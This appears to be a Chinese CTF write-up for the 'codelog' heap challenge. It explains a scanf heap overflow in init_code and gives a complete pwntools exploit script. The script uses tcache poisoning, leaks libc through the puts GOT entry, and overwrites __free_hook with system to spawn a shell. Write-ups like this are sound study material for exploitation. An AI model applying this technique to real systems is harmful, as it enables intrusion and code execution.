codelog#
一道看起来是序列化的简单堆题。。。 被赛方开赛前说的有两题序列化protobuf跟flatbuffers坑了
导致先去看了第三题的正常堆 结果一个数独逆不出来。。。 结果爆零噜
switch ( i ) { case 0: init_code(v16, v3, v4, v5, v6, v7, v18, v19, v20, v21); v18 = v16[0]; v19 = v16[1]; v20 = v16[2]; v21 = v16[3]; check_number = 1; continue; case 1: if ( check_number != 1 ) goto LABEL_13; open_flag(); encode(s1, v3, v8, v9, v10, v11, v18, v19, v20, v21); close_flag(); break; case 2: if ( check_number != 1 ) goto LABEL_13; open_flag(); decode(s1, v3, v12, v13, v14, v15, v18, v19, v20); close_flag(); break; case 3: show_code(s1, v3, v4, v5, v6, v7, v18, v19, v20, v21); continue; case 4: show_tree(v19, 2 * v20 - 1); continue; case 5: add(); continue; case 6: delete(); continue; case 7: show(); continue; case 8: exit(0); default:LABEL_13: puts("Error!"); break; }主要的逻辑就是菜单 不过有几个函数起到了一个误导作用
关键的漏洞有两个 一个是init_code函数中存在了一个scanf引起的堆溢出 还有一个是没有开启PIE保护机制

实际其他函数都是一个误导作用 我们只需要利用init_code函数的堆溢出 覆盖tcachebin的fd域 使得申请到bss段上 从而向存放chunk指针的数组写入got表的地址 这样就可以借助show函数把libc地址泄露出来了 随后利用同样的手法打free_hook
唯一要注意的就是init_code本身会对堆构造产生影响 所以需要自己动调注意一下
from pwn import*import pwn_pb2io = process("./pwn")#io = remote("47.92.7.93",8802)elf = ELF("./pwn")context.terminal = ['tmux','splitw','-h']#libc = ELF("./ld-linux.so.2")libc = ELF("./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so")context.arch = "amd64"context.log_level = "debug"def debug(): gdb.attach(io) pause()
def Init(size,char,weight): io.recvuntil("log@code:/root/ $ ") io.sendline("Init") io.recvuntil("Size: ") io.sendline(str(size)) for i in range(size): io.recvuntil("char: ") io.sendline(char) io.recvuntil("weight: ") io.sendline(str(weight))def add(size,log): io.recvuntil("log@code:/root/ $ ") io.sendline("Add_log") io.recvuntil("size: ") io.sendline(str(size)) io.recvuntil("log: ") io.sendline(log)def delete(index): io.recvuntil("log@code:/root/ $ ") io.sendline("Delete_log") io.recvuntil("idx: ") io.sendline(str(index))def show(index): io.recvuntil("log@code:/root/ $ ") io.sendline("Print_log") io.recvuntil("idx: ") io.sendline(str(index))def Init_much(size,char,weight,char2,weight2): io.recvuntil("log@code:/root/ $ ") io.sendline("Init") io.recvuntil("Size: ") io.sendline(str(size)) io.recvuntil("char: ") io.sendline(char) io.recvuntil("weight: ") io.sendline(str(weight)) io.recvuntil("char: ") io.sendline(char2) io.recvuntil("weight: ") io.sendline(str(weight2))Init(2,'a',1)add(0x50,'aaaa')#0add(0x50,'aaaa')#1delete(1)delete(0)puts_got = elf.got['puts']payload = cyclic(0x10-0x2)+p64(0)+p64(0x21)+cyclic(0x10)+p64(0)+p64(0x21)+cyclic(0x10)+p64(0)+p64(0x61)+p64(0x405230)Init_much(2,'a',1,payload,1)add(0x50,'aaaa')#0add(0x50,p64(puts_got))#1show(1)libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-libc.sym['puts']success("libc_addr :"+hex(libc_addr))free_hook = libc_addr + libc.sym['__free_hook']system_addr = libc_addr + libc.sym['system']
add(0x50,'aaaa')#2add(0x50,'aaaa')#3delete(3)delete(2)payload = cyclic(0xe)+p64(0)+p64(0x21)+cyclic(0x10)+p64(0)+p64(0x21)+cyclic(0x10)+p64(0)+p64(0x61)+p64(free_hook)# gdb.attach(io,'b *0x401AE1')# pause(0)Init_much(2,'a',1,payload,1)add(0x50,'/bin/sh\x00')#2add(0x50,p64(system_addr))delete(2)io.interactive()